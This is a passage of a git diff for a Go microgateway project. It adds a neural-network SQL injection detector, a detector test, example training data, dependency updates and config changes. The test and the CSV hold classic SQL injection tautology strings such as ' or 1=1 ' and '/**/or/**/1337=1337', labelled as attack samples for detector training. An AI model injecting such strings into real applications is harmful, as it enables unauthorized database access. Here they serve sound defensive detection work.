panic("not a tensor") + } + + return false +} + +// Learn learns strings +func (r *RNN) Learn(data []int, attack bool, solver G.Solver) (retCost, retPerp []float64, err error) { + end := len(data) - 1 + + r.reset() + for i := range data[:len(data)-r.steps+1] { + for j := 0; j < r.steps; j++ { + index := i + j + source, rsource := data[index], data[end-index] + + r.inputs[0][j].Zero() + r.inputs[0][j].SetF32(source, 1.0) + if len(r.inputs) > 1 { + r.inputs[1][j].Zero() + r.inputs[1][j].SetF32(rsource, 1.0) + } + if r.outputs != nil { + r.outputs[j].Zero() + if attack { + r.outputs[j].SetF32(0, 1.0) + } else { + r.outputs[j].SetF32(1, 1.0) + } + } + } + + err = r.machine.RunAll() + if err != nil { + return + } + + err = solver.Step(r.learnablesValues()) + if err != nil { + return + } + + if cv, ok := r.cost.Value().(G.Scalar); ok { + retCost = append(retCost, float64(cv.Data().(float32))) + } + r.feedback(0) + r.machine.Reset() + } + + return +} diff --git a/activity/sqld/injectsec/injectsec.go b/activity/sqld/injectsec/injectsec.go new file mode 100644 index 0000000..7bd9e58 --- /dev/null +++ b/activity/sqld/injectsec/injectsec.go @@ -0,0 +1,39 @@ +// Copyright 2018 The InjectSec Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package injectsec + +import ( + "bytes" + "io" + + "github.com/project-flogo/microgateway/activity/sqld/injectsec/gru" +) + +// DetectorMaker makes SQL injection attack detectors +type DetectorMaker struct { + *gru.DetectorMaker +} + +// NewDetectorMakerWithWeights creates a new detector maker using weights +func NewDetectorMakerWithWeights(weights io.Reader) (*DetectorMaker, error) { + maker := gru.NewDetectorMaker() + err := maker.Read(weights) + if err != nil { + return nil, err + } + + return &DetectorMaker{ + DetectorMaker: maker, + }, nil +} + +// NewDetectorMaker creates a new detector maker +func NewDetectorMaker() (*DetectorMaker, error) { + weights, err := ReadFile("weights.w") + if err != nil { + return nil, err + } + return NewDetectorMakerWithWeights(bytes.NewBuffer(weights)) +} diff --git a/activity/sqld/injectsec/injectsec_test.go b/activity/sqld/injectsec/injectsec_test.go new file mode 100644 index 0000000..517b957 --- /dev/null +++ b/activity/sqld/injectsec/injectsec_test.go @@ -0,0 +1,74 @@ +// Copyright 2018 The InjectSec Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package injectsec + +import "testing" + +func TestDetector(t *testing.T) { + maker, err := NewDetectorMaker() + if err != nil { + t.Fatal(err) + } + detector := maker.Make() + + attacks := []string{ + "test or 1337=1337 --\"", + " or 1=1 ", + "/**/or/**/1337=1337", + } + + detector.SkipRegex = true + for _, s := range attacks { + probability, err := detector.Detect(s) + if err != nil { + t.Fatal(err) + } + if probability < 50 { + t.Fatal("should be a sql injection attack", s) + } + } + detector.SkipRegex = false + for _, s := range attacks { + probability, err := detector.Detect(s) + if err != nil { + t.Fatal(err) + } + if probability < 50 { + t.Fatal("should be a sql injection attack", s) + } + } + + notAttacks := []string{ + "abc123", + "abc123 123abc", + "123", + "abcorabc", + "available", + "orcat1", + "cat1or", + "cat1orcat1", + } + + detector.SkipRegex = true + for _, s := range notAttacks { + probability, err := detector.Detect(s) + if err != nil { + t.Fatal(err) + } + if probability > 50 { + t.Fatal("should not be a sql injection attack", s) + } + } + detector.SkipRegex = false + for _, s := range notAttacks { + probability, err := detector.Detect(s) + if err != nil { + t.Fatal(err) + } + if probability > 50 { + t.Fatal("should not be a sql injection attack", s) + } + } +} diff --git a/activity/sqld/injectsec/training_data_example.csv b/activity/sqld/injectsec/training_data_example.csv new file mode 100644 index 0000000..9a6e845 --- /dev/null +++ b/activity/sqld/injectsec/training_data_example.csv @@ -0,0 +1,10 @@ +" or 1=1 ", attack +"computer", not_attack +"/**/or/**/1=1", attack +"game", not_attack +"abc123", not_attack +"123abc", not_attack +" or 1337=1337 ", attack +"dog", not_attack +"cat", not_attack +" or 'hello'='hello' ", attack diff --git a/activity/sqld/metadata.go b/activity/sqld/metadata.go new file mode 100644 index 0000000..b6e1fb7 --- /dev/null +++ b/activity/sqld/metadata.go @@ -0,0 +1,54 @@ +package sqld + +import ( + "github.com/project-flogo/core/data/coerce" +) + +type Settings struct { + File string `md:"file"` +} + +type Input struct { + Payload map[string]interface{} `md:"payload,required"` +} + +func (r *Input) FromMap(values map[string]interface{}) error { + payload, err := coerce.ToObject(values["payload"]) + if err != nil { + return err + } + r.Payload = payload + return nil +} + +func (r *Input) ToMap() map[string]interface{} { + return map[string]interface{}{ + "payload": r.Payload, + } +} + +type Output struct { + Attack float32 `md:"attack"` + AttackValues map[string]interface{} `md:"attackValues"` +} + +func (o *Output) FromMap(values map[string]interface{}) error { + attack, err := coerce.ToFloat32(values["attack"]) + if err != nil { + return err + } + o.Attack = attack + attackValues, err := coerce.ToObject(values["attackValues"]) + if err != nil { + return err + } + o.AttackValues = attackValues + return nil +} + +func (o *Output) ToMap() map[string]interface{} { + return map[string]interface{}{ + "attack": o.Attack, + "attackValues": o.AttackValues, + } +} diff --git a/go.mod b/go.mod index 273888d..6074a09 100644 --- a/go.mod +++ b/go.mod @@ -1,11 +1,37 @@ module github.com/project-flogo/microgateway require ( - github.com/mashling-support/jsonschema v0.0.0-20171109154154-a2e6c52ea8d9 // indirect - github.com/project-flogo/contrib v0.0.0-20181024190341-c03154af209b - github.com/project-flogo/core v0.9.0-alpha.1 + github.com/awalterschulze/gographviz v0.0.0-20170410065617-c84395e536e1 // indirect + github.com/chewxy/hm v1.0.0 // indirect + github.com/chewxy/math32 v1.0.0 // indirect + github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect + github.com/dgrijalva/jwt-go v3.2.0+incompatible + github.com/gogo/protobuf v1.1.1 // indirect + github.com/golang/protobuf v1.2.0 // indirect + github.com/gonum/blas v0.0.0-20180125090452-e7c5890b24cf // indirect + github.com/google/flatbuffers v1.10.0 // indirect + github.com/leesper/go_rng v0.0.0-20171009123644-5344a9259b21 // indirect + github.com/pkg/errors v0.8.0 // indirect + github.com/pmezard/go-difflib v1.0.0 // indirect + github.com/project-flogo/contrib v0.0.0-20181031205748-377ceef640a0 + github.com/project-flogo/core v0.9.0-alpha.2.0.20181031205817-e8b9d3b1d747 + github.com/stretchr/objx v0.1.1 // indirect github.com/stretchr/testify v1.2.2 + github.com/ulule/limiter v2.2.0+incompatible github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f // indirect github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 // indirect github.com/xeipuuv/gojsonschema v0.0.0-20181016150526-f3a9dae5b194 + github.com/xtgo/set v1.0.0 // indirect + go.uber.org/atomic v1.3.2 // indirect + go.uber.org/multierr v1.1.0 // indirect + golang.org/x/exp v0.0.0-20181022080537-42ba7d4b6eb2 // indirect + golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519 + golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f // indirect + gonum.org/v1/gonum v0.0.0-20180622153253-e9e56344e335 // indirect + gorgonia.org/cu v0.8.0 // indirect + gorgonia.org/dawson v1.0.0 // indirect + gorgonia.org/gorgonia v0.9.0-beta + gorgonia.org/tensor v0.9.0-beta + gorgonia.org/vecf32 v0.0.0-20180224100446-da24147133d9 // indirect + gorgonia.org/vecf64 v0.0.0-20180224100512-6314d1b6cefc // indirect ) diff --git a/go.sum b/go.sum index cdcd51d..197baa9 100644 --- a/go.sum +++ b/go.sum @@ -1,43 +1,74 @@ +github.com/awalterschulze/gographviz v0.0.0-20170410065617-c84395e536e1 h1:r2lcIqPAm8+z4sEiWTJW3JR3/tc9WWH95hZFXLd2Y0g= +github.com/awalterschulze/gographviz v0.0.0-20170410065617-c84395e536e1/go.mod h1:GEV5wmg4YquNw7v1kkyoX9etIk8yVmXj+AkDHuuETHs= github.com/carlescere/scheduler v0.0.0-20170109141437-ee74d2f83d82/go.mod h1:tyA14J0sA3Hph4dt+AfCjPrYR13+vVodshQSM7km9qw= -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= -github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/julienschmidt/httprouter v0.0.0-20180715161854-348b672cd90d/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= +github.com/chewxy/hm v1.0.0 h1:zy/TSv3LV2nD3dwUEQL2VhXeoXbb9QkpmdRAVUFiA6k= +github.com/chewxy/hm v1.0.0/go.mod h1:qg9YI4q6Fkj/whwHR1D+bOGeF7SniIP40VweVepLjg0= +github.com/chewxy/math32 v1.0.0 h1:RTt2SACA7BTzvbsAKVQJLZpV6zY2MZw4bW9L2HEKkHg= +github.com/chewxy/math32 v1.0.0/go.mod h1:Miac6hA1ohdDUTagnvJy/q+aNnEk16qWUdb8ZVhvCN0= +github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= +github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dgrijalva/jwt-go v3.2.0+incompatible h1:7qlOGliEKZXTDg6OTjfoBKDXWrumCAMpl/TFQ4/5kLM= +github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= +github.com/gogo/protobuf v1.1.1 h1:72R+M5VuhED/KujmZVcIquuo8mBgX4oVda//DQb3PXo= +github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= +github.com/golang/protobuf v1.2.0 h1:P3YflyNX/ehuJFLhxviNdFxQPkGK5cDcApsge1SqnvM= +github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/gonum/blas v0.0.0-20180125090452-e7c5890b24cf h1:ukIp7SJ4RNEkyqdn8EZDzUTOsqWUbHnwPGU3d8pc7ok= +github.com/gonum/blas v0.0.0-20180125090452-e7c5890b24cf/go.mod h1:P32wAyui1PQ58Oce/KYkOqQv8cVw1zAapXOl+dRFGbc= +github.com/google/flatbuffers v1.10.0 h1:oRiOciRvbejW4wxTr/DVVAczyQaxsEONq6NyxhDf3bY= +github.com/google/flatbuffers v1.10.0/go.mod h1:1AeVuKshWv4vARoZatz6mlQ0JxURH0Kv5+zNeJKJCa8= github.com/julienschmidt/httprouter v1.2.0 h1:TDTW5Yz1mjftljbcKqRcrYhd4XeOoI98t+9HbQbYf7g= github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= -github.com/konsorten/go-windows-terminal-sequences v0.0.0-20180402223658-b729f2633dfe h1:CHRGQ8V7OlCYtwaKPJi3iA7J+YdNKdo8j7nG5IgDhjs= -github.com/konsorten/go-windows-terminal-sequences v0.0.0-20180402223658-b729f2633dfe/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= -github.com/mashling-support/jsonschema v0.0.0-20171109154154-a2e6c52ea8d9 h1:7X8krTJlg49/3TNxmeEXZsqyMtcK/Syg2qa0HecoLq0= -github.com/mashling-support/jsonschema v0.0.0-20171109154154-a2e6c52ea8d9/go.mod h1:WJUaRgbqrTLVsldvcF7LzRKvE+asZULXev8JlpDQDT4= +github.com/leesper/go_rng v0.0.0-20171009123644-5344a9259b21 h1:O75p5GUdUfhJqNCMM1ntthjtJCOHVa1lzMSfh5Qsa0Y= +github.com/leesper/go_rng v0.0.0-20171009123644-5344a9259b21/go.mod h1:N0SVk0uhy+E1PZ3C9ctsPRlvOPAFPkCNlcPBDkt0N3U= github.com/oliveagle/jsonpath v0.0.0-20180606110733-2e52cf6e6852 h1:Yl0tPBa8QPjGmesFh1D0rDy+q1Twx6FyU7VWHi8wZbI= github.com/oliveagle/jsonpath v0.0.0-20180606110733-2e52cf6e6852/go.mod h1:eqOVx5Vwu4gd2mmMZvVZsgIqNSaW3xxRThUJ0k/TPk4= +github.com/pkg/errors v0.8.0 h1:WdK/asTD0HN+q6hsWO3/vpuAkAr+tw6aNJNDFFf0+qw= +github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/pointlander/contrib v0.0.0-20181024184044-aa605e91cba8 h1:ogrYBFkP6QJsZ+xrcoE6Z9xujNHPiM61BpGfUiSXjMc= -github.com/pointlander/contrib v0.0.0-20181024184044-aa605e91cba8/go.mod h1:Q+uLEZCxZpkE4Ap9soT7XFMAi1GX54+TE9UZoP+Ndpw= -github.com/project-flogo/contrib v0.0.0-20181017031431-361e822a4d6d h1:Texv4JJfPyXf3V0tmq6su1G+QE0/pL3MoWPbAFIZzCg= -github.com/project-flogo/contrib v0.0.0-20181017031431-361e822a4d6d/go.mod h1:8wQvp2jkdqKENEFrtzjC18FF8d6PIWSlB3QGRiqkPAQ= -github.com/project-flogo/contrib v0.0.0-20181024190341-c03154af209b h1:EfJ/qCUd+TOatgtdkr6qkOqBhySOZO6ETNdYTxxU90c= -github.com/project-flogo/contrib v0.0.0-20181024190341-c03154af209b/go.mod h1:Q+uLEZCxZpkE4Ap9soT7XFMAi1GX54+TE9UZoP+Ndpw= -github.com/project-flogo/core v0.0.0-20181011044627-fea77a2d27c3/go.mod h1:aJVN1J0WbVcirlLd5bBkBanEa2qywvqlSMiOYj5dcvk= -github.com/project-flogo/core v0.9.0-alpha.0.0.20181019024029-ae9fe11d66bf h1:0Y0nEu2eQr8UnlgUet6UtOX0+UHEn9nrb8KCzlRSTTs= -github.com/project-flogo/core v0.9.0-alpha.0.0.20181019024029-ae9fe11d66bf/go.mod h1:aJVN1J0WbVcirlLd5bBkBanEa2qywvqlSMiOYj5dcvk= -github.com/project-flogo/core v0.9.0-alpha.1 h1:c6BB8TPct70wvgyJ/FE1CCgZbn5WrLWZSZWJ6qR+Gq8= -github.com/project-flogo/core v0.9.0-alpha.1/go.mod h1:2ahj+3BgitIAcO0P/3aW2YClPekCuVJzyDT6twLb2xM= -github.com/sirupsen/logrus v1.1.0 h1:65VZabgUiV9ktjGM5nTq0+YurgTyX+YI2lSSfDjI+qU= -github.com/sirupsen/logrus v1.1.0/go.mod h1:zrgwTnHtNr00buQ1vSptGe8m1f/BbgsPukg8qsT7A+A= -github.com/sirupsen/logrus v1.1.1 h1:VzGj7lhU7KEB9e9gMpAV/v5XT2NVSvLJhJLCWbnkgXg= -github.com/sirupsen/logrus v1.1.1/go.mod h1:zrgwTnHtNr00buQ1vSptGe8m1f/BbgsPukg8qsT7A+A= +github.com/project-flogo/contrib v0.0.0-20181031205748-377ceef640a0 h1:MZSRJ8F94m7ODLj/1p7n5Ge67kYRVB8YJdSHIJNvq1w= +github.com/project-flogo/contrib v0.0.0-20181031205748-377ceef640a0/go.mod h1:4kkrCbxbMG1J4cfwZohIHaTDUkgjK7ICodU2czRgIbg= +github.com/project-flogo/core v0.9.0-alpha.2/go.mod h1:BHeB55AxPhvlNGd+it50rE977ag6xE3bD2RluSDeKBA= +github.com/project-flogo/core v0.9.0-alpha.2.0.20181031205817-e8b9d3b1d747 h1:Qclh/Elw3aJ9ddRiapDuMCLmQ058BxwM6VMMuj8RV40= +github.com/project-flogo/core v0.9.0-alpha.2.0.20181031205817-e8b9d3b1d747/go.mod h1:BHeB55AxPhvlNGd+it50rE977ag6xE3bD2RluSDeKBA= github.com/stretchr/objx v0.1.1 h1:2vfRuCMp5sSVIDSqO8oNnWJq7mPa6KVP3iPIwFBuy8A= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/testify v1.2.2 h1:bSDNvY7ZPG5RlJ8otE/7V6gMiyenm9RtJ7IUVIAoJ1w= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/ulule/limiter v2.2.0+incompatible h1:1SeOVtEtaMckX/1yBlsok6LLZjiUrZ33kF5FITMl3MU= +github.com/ulule/limiter v2.2.0+incompatible/go.mod h1:VJx/ZNGmClQDS5F6EmsGqK8j3jz1qJYZ6D9+MdAD+kw= github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f h1:J9EGpcZtP0E/raorCMxlFGSTBrsSlaDGf3jU/qvAE2c= github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 h1:EzJWgHovont7NscjpAxXsDA8S8BMYve8Y5+7cuRE7R0= github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ= github.com/xeipuuv/gojsonschema v0.0.0-20181016150526-f3a9dae5b194 h1:va8F6ctiwxAm980W2zwP4vfSFaKeYlqPo24rRvYjmdc= github.com/xeipuuv/gojsonschema v0.0.0-20181016150526-f3a9dae5b194/go.mod h1:5yf86TLmAcydyeJq5YvxkGPE2fm/u4myDekKRoLuqhs= -golang.org/x/crypto v0.0.0-20180904163835-0709b304e793 h1:u+LnwYTOOW7Ukr/fppxEb1Nwz0AtPflrblfvUudpo+I= -golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= -golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33 h1:I6FyU15t786LL7oL/hn43zqTuEGr4PN7F4XJ1p4E3Y8= -golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +github.com/xtgo/set v1.0.0 h1:6BCNBRv3ORNDQ7fyoJXRv+tstJz3m1JVFQErfeZz2pY= +github.com/xtgo/set v1.0.0/go.mod h1:d3NHzGzSa0NmB2NhFyECA+QdRp29oEn2xbT+TpeFoM8= +go.uber.org/atomic v1.3.2 h1:2Oa65PReHzfn29GpvgsYwloV9AVFHPDk8tYxt2c2tr4= +go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= +go.uber.org/multierr v1.1.0 h1:HoEmRHQPVSqub6w2z2d2EOVs2fjyFRGyofhKuyDq0QI= +go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= +go.uber.org/zap v1.9.1 h1:XCJQEf3W6eZaVwhRBof6ImoYGJSITeKWsyeh3HFu/5o= +go.uber.org/zap v1.9.1/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= +golang.org/x/exp v0.0.0-20181022080537-42ba7d4b6eb2 h1:lpkPb6P4ObnPRN3VbEzv/6CUtwaEDtx0cvCg4eWQuBk= +golang.org/x/exp v0.0.0-20181022080537-42ba7d4b6eb2/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519 h1:x6rhz8Y9CjbgQkccRGmELH6K+LJj7tOoh3XWeC1yaQM= +golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f h1:wMNYb4v58l5UBM7MYRLPG6ZhfOqbKu7X5eyFl8ZhKvA= +golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +gonum.org/v1/gonum v0.0.0-20180622153253-e9e56344e335 h1:P/AbyfYTC6AR6DluxvCFecXpq7KduJXoq9o4bQlTUMk= +gonum.org/v1/gonum v0.0.0-20180622153253-e9e56344e335/go.mod h1:cucAdkem48eM79EG1fdGOGASXorNZIYAO9duTse+1cI= +gorgonia.org/cu v0.8.0 h1:XpTkl5IpMlTPNJl6pKQPEXVV/9TnEtiRB7j1gGkrzCI= +gorgonia.org/cu v0.8.0/go.mod h1:RPEPIfaxxqUmeRe7T1T8a0NER+KxBI2McoLEXhP1Vd8= +gorgonia.org/dawson v1.0.0 h1:am1mZRo4UqDMMpiamOUoefc96218mLUeffSnF/PyXKk= +gorgonia.org/dawson v1.0.0/go.mod h1:Px1mcziba8YUBIDsbzGwbKJ11uIblv/zkln4jNrZ9Ws= +gorgonia.org/gorgonia v0.9.0-beta h1:qC0+Escq0MsSkyuy/h6mxQ5sDE8Qk/5PUD3iJ/3ynNw= +gorgonia.org/gorgonia v0.9.0-beta/go.mod h1:qucT7YHm/2OuSHWEw/6Je/LQ5htRJNQJ1+qpB58fY8c= +gorgonia.org/tensor v0.9.0-beta h1:16QQufB1vbJxVbIOaB5TwkerdlBWtw+AAnZHUZ531ZE= +gorgonia.org/tensor v0.9.0-beta/go.mod h1:05Y4laKuVlj4qFoZIZW1q/9n1jZkgDBOLmKXZdBLG1w= +gorgonia.org/vecf32 v0.0.0-20180224100446-da24147133d9 h1:r3wCKgalImPMiuxYViT5Xp5/VLrrNbfcTpzdLYGP83A= +gorgonia.org/vecf32 v0.0.0-20180224100446-da24147133d9/go.mod h1:iHG+kvTMqGYA0SgahfO2k62WRnxmHsqAREGbayRDzy8= +gorgonia.org/vecf64 v0.0.0-20180224100512-6314d1b6cefc h1:PCqlbnwxCPn67xi6xqid3NDrMotJxMbqcq+Y0WhjOA4= +gorgonia.org/vecf64 v0.0.0-20180224100512-6314d1b6cefc/go.mod h1:1y4pmcSd+wh3phG+InwWQjYrqwyrtN9h27WLFVQfV1Q= diff --git a/internal/core/core.go b/internal/core/core.go index 66633bc..6a6b25e 100644 --- a/internal/core/core.go +++ b/internal/core/core.go @@ -10,10 +10,10 @@ import ( "github.com/project-flogo/core/activity" "github.com/project-flogo/core/data" "github.com/project-flogo/core/data/metadata" - "github.com/project-flogo/core/support/logger" + logger "github.com/project-flogo/core/support/log" ) -var log = logger.GetLogger("microgateway") +var log = logger.ChildLogger(logger.RootLogger(), "microgateway") type microgatewayHost struct { id string @@ -98,7 +98,7 @@ func Execute(id string, payload interface{}, definition *Microgateway, iometadat continue } if truthiness { - output, oErr := translateMappings(scope, map[string]*Expr{"code": response.Output.Code}) + output, oErr := TranslateMappings(scope, map[string]*Expr{"code": response.Output.Code}) if oErr != nil { return -1, nil, oErr } @@ -126,12 +126,12 @@ func Execute(id string, payload interface{}, definition *Microgateway, iometadat // Translate data mappings var data interface{} if response.Output.Datum != nil { - data, oErr = translateMappings(scope, response.Output.Datum) + data, oErr = TranslateMappings(scope, response.Output.Datum) if oErr != nil { return -1, nil, oErr } } else { - interimData, dErr := translateMappings(scope, map[string]*Expr{"data": response.Output.Data}) + interimData, dErr := TranslateMappings(scope, map[string]*Expr{"data": response.Output.Data}) if dErr != nil { return -1, nil, dErr } @@ -152,10 +152,12 @@ func executeSteps(definition *Microgateway, host *microgatewayHost) (err error) var truthiness bool truthiness, err = evaluateTruthiness(step.Condition, host.Scope()) if err != nil { - return err + continue } + ctxt := newServiceContext(step.Service, host) + ctxt.UpdateScope(nil) if truthiness { - err = invokeService(step.Service, step.HaltCondition, host, step.Input) + err = invokeService(step.Service, step.HaltCondition, host, ctxt, step.Input) if err != nil { return err } @@ -256,13 +258,15 @@ func (s *serviceContext) GetSharedTempData() map[string]interface{} { return nil } -func invokeService(serviceDef *Service, haltCondition *Expr, host *microgatewayHost, input map[string]*Expr) (err error) { +func (s *serviceContext) Logger() logger.Logger { + return logger.ChildLogger(log, s.name) +} + +func invokeService(serviceDef *Service, haltCondition *Expr, host *microgatewayHost, ctxt *serviceContext, input map[string]*Expr) (err error) { log.Info("invoking service: ", serviceDef.Name) - // TODO: Translate service definition variables. - ctxt, scope := newServiceContext(serviceDef, host), host.Scope() - ctxt.UpdateScope(nil) - values, err := translateMappings(scope, input) + scope := host.Scope() + values, err := TranslateMappings(scope, input) if err != nil { return err } @@ -278,7 +282,7 @@ func invokeService(serviceDef *Service, haltCondition *Expr, host *microgatewayH if haltCondition != nil { truthiness, err := evaluateTruthiness(haltCondition, scope) if err != nil { - return err + return nil } if truthiness { return fmt.Errorf("execution halted with expression: %s", haltCondition) @@ -289,7 +293,7 @@ func invokeService(serviceDef *Service, haltCondition *Expr, host *microgatewayH return err } -func translateMappings(scope data.Scope, mappings map[string]*Expr) (values map[string]interface{}, err error) { +func TranslateMappings(scope data.Scope, mappings map[string]*Expr) (values map[string]interface{}, err error) { values = make(map[string]interface{}) if len(mappings) == 0 { return values, err diff --git a/internal/pattern/DefaultChannelPattern.json b/internal/pattern/DefaultChannelPattern.json index 7e0cae0..ff9b815 100644 --- a/internal/pattern/DefaultChannelPattern.json +++ b/internal/pattern/DefaultChannelPattern.json @@ -5,7 +5,7 @@ "if": "$.conf.useJWT == true", "service": "JWTValidator", "input": { - "token": "=$.payload.header.Authorization", + "token": "=$.payload.headers.Authorization", "key": "=$.conf.jwtKey" } }, @@ -14,24 +14,25 @@ "service": "CircuitBreaker" }, { - "if": "$.conf.useJWT == false || $.JWTValidator.response.valid == true", + "if": "$.conf.useJWT == false || $.JWTValidator.outputs.valid == true", "service": "ActionBackend", "input": { "inputs": { "channel": "test", "value": "test" } - } + }, + "halt": "false" }, { - "if": "$.conf.useCircuitBreaker == true && $.ActionBackend.response.error != ''", + "if": "$.conf.useCircuitBreaker == true && $.ActionBackend.error != nil", "service": "CircuitBreaker", "input": { "operation": "counter" } }, { - "if": "$.conf.useCircuitBreaker == true && $.ActionBackend.response.error == ''", + "if": "$.conf.useCircuitBreaker == true && $.ActionBackend.error == nil", "service": "CircuitBreaker", "input": { "operation": "reset" @@ -40,17 +41,17 @@ ], "responses": [ { - "if": "$.conf.useJWT == true && $.JWTValidator.response.valid == false", + "if": "$.conf.useJWT == true && $.JWTValidator.outputs.valid == false", "error": true, "output": { "code": 401, "data": { - "error": "=$.JWTValidator.response" + "error": "=$.JWTValidator.outputs.errorMessage" } } }, { - "if": "$.conf.useCircuitBreaker == true && $.CircuitBreaker.tripped == true", + "if": "$.conf.useCircuitBreaker == true && $.CircuitBreaker.outputs.tripped == true", "error": true, "output": { "code": 403, @@ -73,24 +74,20 @@ { "name": "JWTValidator", "description": "Validate some tokens", - "ref": "github.com/project-flogo/microgateway-contrib/activity/jwt" + "ref": "github.com/project-flogo/microgateway/activity/jwt" }, { "name": "CircuitBreaker", "description": "Circuit breaker service", - "ref": "github.com/project-flogo/microgateway-contrib/activity/circuitbreaker", + "ref": "github.com/project-flogo/microgateway/activity/circuitbreaker", "settings": { - "mode": "a", - "context": "get" + "mode": "a" } }, { "name": "ActionBackend", "description": "Make an action call to your backend", - "ref": "github.com/project-flogo/microgateway-contrib/activity/flogoactivity", - "settings": { - "ref": "github.com/TIBCOSoftware/flogo-contrib/activity/channel" - } + "ref": "github.com/project-flogo/contrib/activity/channel" } ] } diff --git a/internal/pattern/DefaultHttpPattern.json b/internal/pattern/DefaultHttpPattern.json index 5c6e27b..c949145 100644 --- a/internal/pattern/DefaultHttpPattern.json +++ b/internal/pattern/DefaultHttpPattern.json @@ -5,15 +5,14 @@ "if": "$.conf.useRateLimiter == true", "service": "RateLimiter", "input": { - "token": "global", - "limit": "=$.conf.rateLimit" + "token": "global" } }, { "if": "$.conf.useJWT == true", "service": "JWTValidator", "input": { - "token": "=$.payload.header.Authorization", + "token": "=$.payload.headers.Authorization", "key": "=$.conf.jwtKey" } }, @@ -22,22 +21,19 @@ "service": "CircuitBreaker" }, { - "if": "$.conf.useJWT == false || $.JWTValidator.response.valid == true", + "if": "$.conf.useJWT == false || $.JWTValidator.outputs.valid == true", "service": "HttpBackend", - "input": { - "url": "=$.conf.backendUrl", - "netError": true - } + "halt": "($.HttpBackend.error != nil) && !error.isneterror($.HttpBackend.error)" }, { - "if": "$.conf.useCircuitBreaker == true && $.HttpBackend.response.netError != ''", + "if": "$.conf.useCircuitBreaker == true && $.HttpBackend.error != nil", "service": "CircuitBreaker", "input": { "operation": "counter" } }, { - "if": "$.conf.useCircuitBreaker == true && $.HttpBackend.response.netError == ''", + "if": "$.conf.useCircuitBreaker == true && $.HttpBackend.error == nil", "service": "CircuitBreaker", "input": { "operation": "reset" @@ -46,7 +42,7 @@ ], "responses": [ { - "if": "$.RateLimiter.limitReached == true", + "if": "$.RateLimiter.outputs.limitReached == true", "error": true, "output": { "code": 403, @@ -56,17 +52,17 @@ } }, { - "if": "$.conf.useJWT == true && $.JWTValidator.response.valid == false", + "if": "$.conf.useJWT == true && $.JWTValidator.outputs.valid == false", "error": true, "output": { "code": 401, "data": { - "error": "=$.JWTValidator.response" + "error": "=$.JWTValidator.outputs.errorMessage" } } }, { - "if": "$.conf.useCircuitBreaker == true && $.CircuitBreaker.tripped == true", + "if": "$.conf.useCircuitBreaker == true && 